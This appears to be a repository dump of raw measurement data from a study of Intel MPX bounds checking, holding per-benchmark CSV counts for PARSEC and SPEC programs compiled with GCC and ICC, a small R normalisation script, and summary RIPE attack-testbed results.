blackscholes,gcc,mpx,1,native,140353487554,,,7130000004,,,548512739178,5,7130000007,7130000004,306,37808196255,4,8 5 | blackscholes,gcc,mpx_only_write,1,native,140353487563,,,1060000000,,,524222739547,5,1060000007,1060000000,302,37808196257,4,8 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_bodytrack/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmovreg,mpxbtnum,bndstx,bndmovmem,mpxerrors,bndcu,sgxtime,sgxmem,memory_writes,bndmk,instructions,bndcl,bndldx,memory_reads 2 | bodytrack,icc,mpx,1,native,136407610,,536747074,7373689822,,43042711517,,,32091111469,618792594,853052112036,42959493570,12098974490,136121493727 3 | bodytrack,icc,mpx_only_write,1,native,23605111,,519050859,4044681426,,4337398772,,,29272570320,578327512,746815744080,4337408333,1807852294,133790629383 4 | bodytrack,gcc,mpx,1,native,1435460499,,1058039749,20962446867,,212770254263,,,83870736563,4393099080,1546175431076,212770254263,15829420757,336267607424 5 | bodytrack,gcc,mpx_only_write,1,native,814670751,,651783253,6003359237,,11365999538,,,36144833563,1821828125,839888517435,11365999538,2119473905,163671943111 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_canneal/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmovmem,mpxbtnum,bndcl,sgxmem,mpxerrors,bndldx,memory_reads,bndcu,bndstx,memory_writes,instructions,bndmk,sgxtime,bndmovreg 2 | canneal,icc,mpx,1,native,6519643852,,6928737268,,,3586585081,44475090195,6516873606,402747366,11793012329,166994642736,205729542,,765988345 3 | canneal,icc,mpx_only_write,1,native,5272704304,,394488560,,,1605379031,43483895192,484488589,389089015,10809134920,146429481796,178412840,,717513288 4 | canneal,gcc,mpx,1,native,6266019236,,25847024586,,,4219672664,50747711024,25847024586,1025559669,14628536209,221080153600,232612410,,672357306 5 | canneal,gcc,mpx_only_write,1,native,3464811758,,915013925,,,2215886971,34471597246,915013925,1035559671,9752767409,143396761902,114029752,,597504356 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_dedup/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndldx,sgxmem,bndcl,bndstx,memory_reads,bndcu,mpxerrors,sgxtime,mpxbtnum,memory_writes,instructions,bndmovreg,bndmovmem,bndmk 2 | dedup,icc,mpx,1,native,6384567354,,19532815044,380176780,38795481328,17489356828,,,,30006149056,191653158630,611843386,4717007761,200840434 3 | dedup,icc,mpx_only_write,1,native,3603070381,,7673348453,16178772,36015951206,7635570281,,,,27578578798,156466359868,6016385,2516372659,53863830 4 | dedup,gcc,mpx,1,native,6898186022,,57364135595,15192510,67844087607,57364135595,,,,38355761588,345146060600,352703949,5463435099,996012142 5 | dedup,gcc,mpx_only_write,1,native,3536053898,,11575311059,15192510,46804765104,11575311059,,,,30949485319,182259022236,177168931,2541186860,688973329 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_facesim/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndcl,bndldx,instructions,sgxtime,bndmk,bndmovreg,memory_writes,sgxmem,bndmovmem,memory_reads,bndstx,mpxbtnum,bndcu,mpxerrors 2 | facesim,icc,mpx,1,native,1823252949,291775178,34490470580,,60002983,7022955,5176479584,,493943177,9647173219,33156037,,1839921103, 3 | facesim,icc,mpx_only_write,1,native,509702495,136774648,30794555373,,62235452,4602942,5033758981,,250145131,9536499859,33155833,,511563711, 4 | facesim,gcc,mpx,1,native,17221909128,3340516787,98384150103,,645865315,80881221,7850685248,,2059849268,22865435687,35163695,,17221909128, 5 | facesim,gcc,mpx_only_write,1,native,2355925850,531777711,43981422744,,247496874,11133121,4752753791,,567226200,12863522889,31444675,,2355925850, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_ferret/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxbtnum,bndldx,bndmovmem,mpxerrors,memory_writes,instructions,bndstx,sgxtime,memory_reads,bndcu,bndmk,bndcl,bndmovreg,sgxmem 2 | ferret,icc,mpx,1,native,,110494979351,103920971036,,450725330432,3071867353736,11525146961,,460596631353,405555704089,13937485974,377333188252,30914420120, 3 | ferret,icc,mpx_only_write,1,native,,65631792943,19809510317,,447892071928,2219470360194,11520153873,,456936737593,33975850767,5819423102,32773409500,25783200624, 4 | ferret,gcc,mpx,1,native,,209746329272,152627441249,,545367793496,4620544701251,17453525978,,844539690276,633311657545,34392083148,633311657545,75120786394, 5 | ferret,gcc,mpx_only_write,1,native,,80202920810,69177036743,,446448998068,2633921304569,17178865200,,506863775587,48137121660,1318621974,48137121660,109697673649, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_fluidanimate/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndstx,bndldx,memory_reads,bndmovmem,memory_writes,instructions,bndmovreg,mpxbtnum,sgxtime,mpxerrors,bndcu,bndcl,sgxmem,bndmk 2 | fluidanimate,icc,mpx,1,native,230508791,4765827083,466793500584,140657617379,148608324514,2478530152585,3497473177,,,,121899790218,121899790218,,1552671784 3 | fluidanimate,icc,mpx_only_write,1,native,230508791,4399591240,368936145721,8488909840,50751574934,1660214476560,3497473177,,,,15060311532,15060311532,,1051029784 4 | fluidanimate,gcc,mpx,1,native,230509922,16938199337,905034564061,357675088275,288803731172,3780679122951,4157,,,,344505027996,344505027996,,111226201620 5 | fluidanimate,gcc,mpx_only_write,1,native,230509922,8010975603,469727944821,45277431744,69499761750,1862637282522,18474,,,,30166929440,30166929440,,14073814770 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_raytrace/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndldx,memory_reads,bndcu,mpxbtnum,bndmovreg,sgxtime,bndcl,bndmovmem,instructions,memory_writes,bndmk,mpxerrors,bndstx,sgxmem 2 | raytrace,gcc,mpx,1,native,5333818402,1254701629766,1079911051060,,674386573,,1079911051060,328195370896,5352876317008,594034971915,91518707437,,1109453170, 3 | raytrace,gcc,mpx_only_write,1,native,3481360822,289314587198,4203330068,,522257199,,4203330068,4580062265,1108465946341,116033423418,960345650,,1184452721, 4 | raytrace,icc,mpx,1,native,5281264706,196682574302,62990891322,,2373489387,,62759412231,55615125689,860117620612,107774458871,15881354593,,190242812, 5 | raytrace,icc,mpx_only_write,1,native,4999618722,152303039695,16255511316,,511902394,,16255511313,9734278802,632225224098,54312415014,5228969759,,190242686, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_streamcluster/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndcu,sgxtime,bndldx,memory_writes,mpxerrors,bndmk,sgxmem,instructions,bndstx,memory_reads,bndmovreg,bndmovmem,bndcl,mpxbtnum 2 | streamcluster,gcc,mpx,1,native,852843765228,,841466721822,17764433317,,8868,,5792850822975,3233218955,1291604491402,44059,294202438,852843765228, 3 | streamcluster,gcc,mpx_only_write,1,native,2010100523,,3744817373,17745647789,,8864,,1578211369213,3233218955,460291946423,35200,257105409,2010100523, 4 | streamcluster,icc,mpx,1,native,62697841741,,3228507720,10147965601,,9106,,549848088251,240317,130628258367,32229,1676601371,61104572509, 5 | streamcluster,icc,mpx_only_write,1,native,1777886503,,5851873,3704754912,,8973,,408672883656,240247,121033483643,2,34244772,1768485843, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_swaptions/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndcu,bndmovreg,sgxmem,bndmk,bndcl,memory_writes,bndstx,mpxerrors,bndmovmem,memory_reads,mpxbtnum,instructions,bndldx,sgxtime 2 | swaptions,gcc,mpx,1,native,239792231504,72002182,,48001925,239792231504,104066907569,88003206,,68344011106,401444704998,,2102041574294,85960101163, 3 | swaptions,gcc,mpx_only_write,1,native,55504042659,64002184,,48001925,55504042659,105698906151,88003206,,28752010454,367564650500,,1539800973420,30280035880, 4 | swaptions,icc,mpx,1,native,172424069014,16000649,,48001942,172424069142,94295804330,56002448,,48432006470,327766069606,,1636087274031,59624009495, 5 | swaptions,icc,mpx_only_write,1,native,32672025478,16000515,,48001936,32672025478,94295803864,56002436,,5360005657,327774068385,,1210815168721,11944003467, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_x264/NOTE: -------------------------------------------------------------------------------- 1 | GCC finished correctly 2 | ICC -- segfault in Pin 3 | 4 | For this reason, we substituted all ICC statistics with zeros -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_x264/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmovmem,bndmk,memory_reads,instructions,sgxmem,bndstx,bndcu,bndcl,mpxerrors,mpxbtnum,sgxtime,memory_writes,bndldx,bndmovreg 2 | x264,gcc,mpx,1,native,41055168118,4567369468,1299494716283,9912535307088,,1273859760,1312409575800,1312409575800,,,,173619406748,5026312047,2212529305 3 | x264,gcc,mpx_only_write,1,native,13437018806,2432658424,423043049416,1842206520525,,1273859760,81147117008,81147117008,,,,151148119274,3141154406,1753276381 4 | x264,icc,mpx,1,native,0,0,0,1937829556,,0,0,0,,,,0,0,0 5 | x264,icc,mpx_only_write,1,native,0,0,0,1664141963,,0,0,0,,,,0,0,0 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_x264/raw.original.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmovmem,bndmk,memory_reads,instructions,sgxmem,bndstx,bndcu,bndcl,mpxerrors,mpxbtnum,sgxtime,memory_writes,bndldx,bndmovreg 2 | x264,gcc,mpx,1,native,41055168118,4567369468,1299494716283,9912535307088,,1273859760,1312409575800,1312409575800,,,,173619406748,5026312047,2212529305 3 | x264,gcc,mpx_only_write,1,native,13437018806,2432658424,423043049416,1842206520525,,1273859760,81147117008,81147117008,,,,151148119274,3141154406,1753276381 4 | x264,icc,mpx,1,native,38411373,17835386,352348274,1937829556,,458808,149095895,141995093,,,,174056322,4499207,4255831 5 | x264,icc,mpx_only_write,1,native,17472209,3293668,349171143,1664141963,,454041,48873754,41126050,,,,173335117,3711078,720417 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_astar/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndcl,bndldx,mpxbtnum,bndcu,memory_writes,memory_reads,bndstx,bndmovreg,bndmovmem,mpxerrors,bndmk,instructions 2 | astar,gcc,mpx_no_narrow_bounds,1,native,275045600240,60349217945,,275045600240,122121478409,398202982202,1149818829,14043335624,33515244833,,1751311,1778791282136 3 | astar,gcc,mpx_no_narrow_bounds_only_write,1,native,22272660380,14470267124,,22272660380,61187791803,225980885635,1149818829,6501642199,16716986233,,1524527,816794054818 4 | astar,icc,mpx_no_narrow_bounds,1,native,107358448400,30658775294,,102290849616,48751040980,188919003478,573434983,27768767,22742911758,,10955176,889104200159 5 | astar,icc,mpx_no_narrow_bounds_only_write,1,native,17968445750,8599842377,,17958161100,53762817542,190168498869,573405973,27716077,20178048166,,10889523,691057826069 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_bzip2/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxbtnum,mpxerrors,bndmk,bndldx,bndmovmem,bndcu,bndstx,bndcl,instructions,memory_reads,memory_writes,bndmovreg 2 | bzip2,gcc,mpx_no_narrow_bounds,1,native,,,266885650,2715186303,4889701110,59333056245,273754895,59333056245,357488530695,52874768326,25300470889,1306222914 3 | bzip2,gcc,mpx_no_narrow_bounds_only_write,1,native,,,18894323,1811211789,1892660417,17085093238,273754895,17085093238,225824382562,45419455504,22433284568,600703546 4 | bzip2,icc,mpx_no_narrow_bounds,1,native,,,474139184,1361549906,2284900180,32262632385,270069371,24634964609,237665600813,40460401905,21082169187,4104259 5 | bzip2,icc,mpx_no_narrow_bounds_only_write,1,native,,,25972619,1185853551,1405489675,15606830220,182312173,7377777625,205519508511,40689596080,21128262217,4194214 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_dealII/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,memory_writes,bndcl,instructions,mpxbtnum,bndmovmem,bndmovreg,bndstx,bndmk,bndcu,mpxerrors,memory_reads,bndldx 2 | dealII,gcc,mpx_no_narrow_bounds,1,native,16367527399,28125628013,200425130928,,4269347408,135092998,3413899792,113947542,28125628013,,52895909005,11568818808 3 | dealII,gcc,mpx_no_narrow_bounds_only_write,1,native,10611002780,2378604383,105536557158,,1614351203,42809435,3345345247,59201217,2378604383,,35569202082,4065663482 4 | dealII,icc,mpx_no_narrow_bounds,1,native,6591586698,12833738956,109148325333,,3130388361,127941632,65817415,85340543,12856264918,,27705402976,4493847750 5 | dealII,icc,mpx_no_narrow_bounds_only_write,1,native,6606339632,1375001467,79605699450,,1380850324,108629758,65182265,55679438,1375012782,,27419829498,1304534403 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_gcc/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,memory_reads,bndstx,bndmovmem,mpxbtnum,instructions,bndcl,bndldx,memory_writes,bndmk,bndcu,mpxerrors,bndmovreg 2 | gcc,gcc,mpx_no_narrow_bounds,1,native,1249086099,54559171,450165850,,8728179023,675479285,211717849,2496421633,8431684,675479186,,68688668 3 | gcc,gcc,mpx_no_narrow_bounds_only_write,1,native,1001982073,54434250,200200371,,6572818040,108955216,116046482,2406002866,9491476,108955112,,46328997 4 | gcc,icc,mpx_no_narrow_bounds,1,native,937729621,90232581,361970668,,6138256770,410950987,205933535,717114113,74827766,426687264,,30758853 5 | gcc,icc,mpx_no_narrow_bounds_only_write,1,native,929494843,89505615,203286839,,5096832455,79077718,152748771,712132062,22840763,80700794,,23448025 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_gobmk/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxerrors,bndldx,mpxbtnum,bndcl,bndcu,bndmk,memory_writes,instructions,bndstx,bndmovreg,bndmovmem,memory_reads 2 | gobmk,gcc,mpx_no_narrow_bounds,1,native,,13121761374,,55725972780,55725963786,1232402478,46489883633,457695671939,5443461740,1024713553,21550542676,93357648535 3 | gobmk,gcc,mpx_no_narrow_bounds_only_write,1,native,,6817015455,,11213809723,11213800729,804181296,39495371180,300418350557,5443203425,729797727,9399277646,69627931995 4 | gobmk,icc,mpx_no_narrow_bounds,1,native,,3486750825,,35753237907,36089893425,8340231204,33292142204,319655962166,3156514269,530419475,9731064271,56084576769 5 | gobmk,icc,mpx_no_narrow_bounds_only_write,1,native,,3287071445,,8067392557,8087326764,2621445943,33086320781,245174670046,3156319968,602141168,4510008224,55400547479 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_h264ref/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxerrors,memory_reads,bndmovmem,bndcl,memory_writes,instructions,bndstx,mpxbtnum,bndldx,bndmk,bndcu,bndmovreg 2 | h264ref,gcc,mpx_no_narrow_bounds,1,native,,393563308020,12139167799,90458945000,281568281642,854200088234,83344929,,31531064305,173070568,90458945000,766051179 3 | h264ref,gcc,mpx_no_narrow_bounds_only_write,1,native,,365199140577,5418957035,9181227477,276989064808,572151022396,82065185,,3266260701,62856810,9181227477,491606320 4 | h264ref,icc,mpx_no_narrow_bounds,1,native,,104831707885,7902101686,36258299401,28784693976,358065076434,677220038,,7760133277,1623277400,37925033616,543016339 5 | h264ref,icc,mpx_no_narrow_bounds_only_write,1,native,,104742532259,4597365258,4261752562,28674718128,277861004520,621168611,,2315791222,621310371,4447706763,418512906 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_hmmer/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,instructions,mpxbtnum,bndcu,memory_writes,mpxerrors,bndstx,bndmovmem,bndcl,bndmk,memory_reads,bndmovreg,bndldx 2 | hmmer,gcc,mpx_no_narrow_bounds,1,native,5864476313536,,1023760978401,460801281830,,2549425,422548247014,1023760978466,3000155,2043262175368,558987980,16761815035 3 | hmmer,gcc,mpx_no_narrow_bounds_only_write,1,native,2189999277755,,175109111173,180769046696,,2549425,1678763266,175109111238,3000155,767067450097,4500733,3780968157 4 | hmmer,icc,mpx_no_narrow_bounds,1,native,2431723595227,,403056745893,77910129055,,279987095,286560876482,403203488717,837392023,564847938781,555999975,3342134713 5 | hmmer,icc,mpx_no_narrow_bounds_only_write,1,native,1391490161659,,65032330325,77077646054,,2703768,1402951395,65454817564,1113067952,561330444538,278243832,1114147397 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_lbm/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmk,memory_writes,bndstx,instructions,bndmovreg,bndcl,mpxerrors,memory_reads,bndcu,bndldx,bndmovmem,mpxbtnum 2 | lbm,gcc,mpx_no_narrow_bounds,1,native,4,275845304711,6008,2515311413868,5,333288234224,,666109761011,333288234224,12064,7885095, 3 | lbm,gcc,mpx_no_narrow_bounds_only_write,1,native,4,103227859864,6008,1403755879260,6,74153871121,,229193426656,74153871121,12064,2716258, 4 | lbm,icc,mpx_no_narrow_bounds,1,native,159,124664501488,6014,1214273088276,109,11765297832,,229673083527,11765324900,12065,2716283, 5 | lbm,icc,mpx_no_narrow_bounds_only_write,1,native,159,124664500630,6008,1198554160103,105,3902897782,,229616083260,3902924850,12061,2716276, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_libquantum/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxerrors,instructions,mpxbtnum,bndcu,memory_writes,bndstx,bndldx,bndmovreg,bndmk,memory_reads,bndcl,bndmovmem 2 | libquantum,gcc,mpx_no_narrow_bounds,1,native,,4612284163478,,903583815525,81692722084,5348160654,277360424966,104400,102352,774316253365,903583815583,2093827546 3 | libquantum,gcc,mpx_no_narrow_bounds_only_write,1,native,,2767477413950,,70397472404,77771456817,5348160654,217127767808,2420,102352,506570428801,70397472462,150044930 4 | libquantum,icc,mpx_no_narrow_bounds,1,native,,1564851769770,,90383205043,103209598626,4404530481,2711146860,881049696,306241,220703585847,55195801179,1762121991 5 | libquantum,icc,mpx_no_narrow_bounds_only_write,1,native,,1398017016640,,23645809931,103154882240,4404530472,2654575887,881049703,306241,220618641346,23473301693,881113502 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_mcf/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,memory_reads,bndcl,mpxerrors,bndmovreg,bndstx,memory_writes,instructions,bndcu,bndmovmem,bndldx,mpxbtnum,bndmk 2 | mcf,gcc,mpx_no_narrow_bounds,1,native,135697640379,142178451319,,3779895050,11476661868,33777506388,779649127156,142178451319,10260926703,40657137074,,21673609 3 | mcf,gcc,mpx_no_narrow_bounds_only_write,1,native,107007176634,29183140896,,1919007063,11476661868,32329997650,409383050638,29183140896,1261846206,18252991900,,21673609 4 | mcf,icc,mpx_no_narrow_bounds,1,native,101864542683,78549529066,,4491986254,11365041549,30645294928,519710187806,74854803368,1724115998,38804873841,,749885829 5 | mcf,icc,mpx_no_narrow_bounds_only_write,1,native,101774230960,14262324084,,4078684228,11364831050,30555405355,380644604288,14262360204,727034369,15616500577,,702880511 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_milc/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndstx,mpxbtnum,memory_reads,bndmk,bndmovreg,bndcu,instructions,memory_writes,bndldx,bndcl,mpxerrors,bndmovmem 2 | milc,gcc,mpx_no_narrow_bounds,1,native,88688214,,14113156618,2586487,102294250,13232877757,71895331622,4838211492,405805423,13232877765,,474012690 3 | milc,gcc,mpx_no_narrow_bounds_only_write,1,native,88688214,,11078286680,2253696,101993787,3095630147,39115777447,3571561809,130827006,3095630155,,418844663 4 | milc,icc,mpx_no_narrow_bounds,1,native,28885634,,10014270971,22175598,92037165,1095759877,34727852558,3454063797,184919175,1095604357,,470641127 5 | milc,icc,mpx_no_narrow_bounds_only_write,1,native,28885580,,10006422701,22123,69289721,300228772,32973354460,3454055411,104994945,300228772,,444186370 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_namd/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndldx,bndcl,bndstx,instructions,memory_writes,bndmovmem,mpxbtnum,memory_reads,mpxerrors,bndmovreg,bndmk,bndcu 2 | namd,gcc,mpx_no_narrow_bounds,1,native,4246604713,243731865596,1881290,1725406625423,72497752162,26260920555,,299999756469,,28700265,2068577,243731865596 3 | namd,gcc,mpx_no_narrow_bounds_only_write,1,native,26787057,38926420834,1881290,1222194293597,66344555302,865137063,,286958345749,,428073,2068703,38926420834 4 | namd,icc,mpx_no_narrow_bounds,1,native,228228895,75179148882,2691401,1299276090983,61406637370,19006863124,,254857655478,,4358702,2544089,81099791078 5 | namd,icc,mpx_no_narrow_bounds_only_write,1,native,3531411,15846485697,2411842,1145333655808,61373914614,385789765,,253425076389,,313,2544025,15846486905 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_omnetpp/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,instructions,bndcu,bndldx,bndmovmem,bndmk,mpxerrors,bndcl,memory_reads,mpxbtnum,memory_writes,bndstx,bndmovreg 2 | omnetpp,gcc,mpx_no_narrow_bounds,1,native,1425388464157,215918980454,84227903083,54532851361,8923355,,214985586558,264007211618,,110981591425,23618141222,15887421591 3 | omnetpp,gcc,mpx_no_narrow_bounds_only_write,1,native,837399047551,42367375920,38074708316,44255199999,8861249,,42367317059,180704849261,,100258263075,23618902230,9495384487 4 | omnetpp,icc,mpx_no_narrow_bounds,1,native,57279560834,4655678472,2196564185,1064401507,200185414,,4568618639,7683964552,,3715580050,503699246,157249106 5 | omnetpp,icc,mpx_no_narrow_bounds_only_write,1,native,775821172034,28257352241,32219192649,27892090677,8307458269,,26920883169,173099993884,,99172389041,21018934152,3944434671 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_perlbench/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmovmem,bndcl,instructions,bndcu,bndmovreg,memory_writes,bndstx,bndmk,memory_reads,mpxerrors,bndldx,mpxbtnum 2 | perlbench,gcc,mpx_no_narrow_bounds,1,native,147093290012,148684200040,1251301893667,148679494785,2748379352,79139607882,12313488305,168472561,237138616845,,45226494682, 3 | perlbench,gcc,mpx_no_narrow_bounds_only_write,1,native,61241423773,20615175172,836591572297,20610379482,2036506503,75698800792,12313488303,168348516,195808355859,,29994773586, 4 | perlbench,icc,mpx_no_narrow_bounds,1,native,65370464423,66322151436,980312823734,83972673716,5307891098,75210603388,12428760981,20687975397,203568348435,,34039595700, 5 | perlbench,icc,mpx_no_narrow_bounds_only_write,1,native,65675555201,16570575764,839495365831,16579970391,4795284932,74814899601,12333038835,12012584683,202950926168,,28923054926, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_povray/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmk,memory_reads,instructions,bndmovreg,memory_writes,bndcu,bndstx,bndldx,mpxerrors,mpxbtnum,bndcl,bndmovmem 2 | povray,gcc,mpx_no_narrow_bounds,1,native,4080238058,458483057461,1930290917907,10196977500,197010941662,236005661835,23127637850,91254810343,,,236005707613,74737418940 3 | povray,gcc,mpx_no_narrow_bounds_only_write,1,native,3921423267,388749858183,1233823602355,3229431742,175276268954,26484591052,22773757889,48207673832,,,26484636830,48781182440 4 | povray,icc,mpx_no_narrow_bounds,1,native,4059108349,305941880164,1262273891099,22920296424,131633349947,94066025958,9619916851,46311599770,,,83250277592,76037716890 5 | povray,icc,mpx_no_narrow_bounds_only_write,1,native,3648610289,312172158950,1106783426149,22729913771,138709933837,12873372799,9583174303,35091930494,,,12709040000,48050548049 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_sjeng/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmovmem,bndmovreg,bndmk,bndldx,memory_writes,bndcu,instructions,memory_reads,bndstx,bndcl,mpxerrors,mpxbtnum 2 | sjeng,gcc,mpx_no_narrow_bounds,1,native,236874700446,4279640064,3895095395,20505837318,264503653053,481086037487,4131325745461,698303784069,271155327,481086037487,, 3 | sjeng,gcc,mpx_no_narrow_bounds_only_write,1,native,37378087922,1022356439,3895088055,18642245587,199484418153,70873128981,2567347689250,556003486059,271155327,70873128981,, 4 | sjeng,icc,mpx_no_narrow_bounds,1,native,60186545504,1700115201,123149871096,5542046801,203977403040,330167643729,3063324072075,510748636145,544516892,330881402238,, 5 | sjeng,icc,mpx_no_narrow_bounds_only_write,1,native,11494750020,10858,21185930684,4636478309,198715492376,57323903905,2231779974278,506556147339,544516632,57323903905,, 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_soplex/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndstx,bndcu,memory_reads,bndmovmem,mpxerrors,memory_writes,bndmovreg,bndmk,mpxbtnum,bndldx,instructions,bndcl 2 | soplex,gcc,mpx_no_narrow_bounds,1,native,354633795,30912977868,34888914704,3381126480,,17585389635,260130936,35642688,,6334907171,202761327881,30912993925 3 | soplex,gcc,mpx_no_narrow_bounds_only_write,1,native,354689725,6064114075,26209927267,255839206,,14445421327,119996785,32615251,,3096114515,114637946206,6064130132 4 | soplex,icc,mpx_no_narrow_bounds,1,native,448790977,18000440133,24808610462,4117996697,,13907009035,121493374,22395352,,1859455363,127803993349,14033058039 5 | soplex,icc,mpx_no_narrow_bounds_only_write,1,native,374941361,4967665339,24588740510,824115022,,13812760894,43522803,23037518,,1359709581,99843327708,4567099849 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_sphinx3/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,bndmk,instructions,memory_writes,bndmovmem,mpxbtnum,bndcu,bndmovreg,bndcl,memory_reads,bndldx,mpxerrors,bndstx 2 | sphinx3,gcc,mpx_no_narrow_bounds,1,native,1860001,181435457323,6229159409,6841992853,,27243951668,178393710,27243951668,31130817300,2462436326,,50590843 3 | sphinx3,gcc,mpx_no_narrow_bounds_only_write,1,native,1686153,98188230403,5312661626,281965812,,944085284,11301169,944085284,25072151466,341734000,,50590413 4 | sphinx3,icc,mpx_no_narrow_bounds,1,native,3888213,94429507056,4894914248,4085351460,,11691015893,8138256,11331916200,15488168900,1413396062,,27613921 5 | sphinx3,icc,mpx_no_narrow_bounds_only_write,1,native,3750719,67429712606,4923527530,125065772,,658678768,31965276,677323213,15642358537,245436710,,27788804 6 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/spec_xalancbmk/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,memory_reads,memory_writes,bndmk,bndstx,bndcl,bndmovmem,bndmovreg,instructions,bndldx,mpxerrors,mpxbtnum,bndcu 2 | xalancbmk,gcc,mpx_no_narrow_bounds,1,native,840636071681,378443911112,2608812122,267537039637,261717957045,42565531303,9614179952,2973704726206,469054335011,,,261717957087 3 | xalancbmk,gcc,mpx_no_narrow_bounds_only_write,1,native,840636071681,378443911112,2608812122,267537039637,261717957045,42565531303,9614179952,2973704726206,469054335011,,,261717957087 4 | xalancbmk,icc,mpx_no_narrow_bounds,1,native,212145683534,67322846517,7890202787,10381824010,142990357058,37803231198,4057603905,1120961132431,27872140642,,,140430639902 5 | xalancbmk,icc,mpx_no_narrow_bounds_only_write,1,native,211571590780,67114654463,6182710655,10216318817,8833918035,30816776170,2836019535,829818750505,16585109351,,,9008875458 6 | -------------------------------------------------------------------------------- /raw_results/ports/beautifier.R: -------------------------------------------------------------------------------- 1 | df = read.table('raw.csv',header=T,sep=",") 2 | df = subset(df, select=-c(threads,input,mpxerrors,mpxbtnum)) 3 | d = df 4 | 5 | d$PORT_0 = d$PORT_0*100/d$UOPS_EXECUTED.CORE 6 | d$PORT_1 = d$PORT_1*100/d$UOPS_EXECUTED.CORE 7 | d$PORT_2 = d$PORT_2*100/d$UOPS_EXECUTED.CORE 8 | d$PORT_3 = d$PORT_3*100/d$UOPS_EXECUTED.CORE 9 | d$PORT_4 = d$PORT_4*100/d$UOPS_EXECUTED.CORE 10 | d$PORT_5 = d$PORT_5*100/d$UOPS_EXECUTED.CORE 11 | d$PORT_6 = d$PORT_6*100/d$UOPS_EXECUTED.CORE 12 | d$PORT_7 = d$PORT_7*100/d$UOPS_EXECUTED.CORE 13 | 14 | d = d[, c("name","compiler","type","PORT_0","PORT_1","PORT_2","PORT_3","PORT_4","PORT_5","PORT_6","PORT_7")] 15 | write.csv(format(d, digits=2), 'beauty.csv',row.names=F) 16 | -------------------------------------------------------------------------------- /raw_results/ripe/mpx_bndpreserve0_nofirstfieldownbounds/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,some,total,notpossible,mpxbtnum,mpxerrors,ok,fail 2 | ripe,gcc,mpx,1,ripe,0,3840,2990,,,41,809 3 | ripe,gcc,mpx_no_narrow_bounds,1,ripe,0,3840,2990,,,41,809 4 | -------------------------------------------------------------------------------- /raw_results/ripe/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxbtnum,fail,total,mpxerrors,ok,notpossible,some 2 | ripe,gcc,native,1,ripe,,786,3840,,64,2990,0 3 | ripe,icc,native,1,ripe,,816,3840,,34,2990,0 4 | 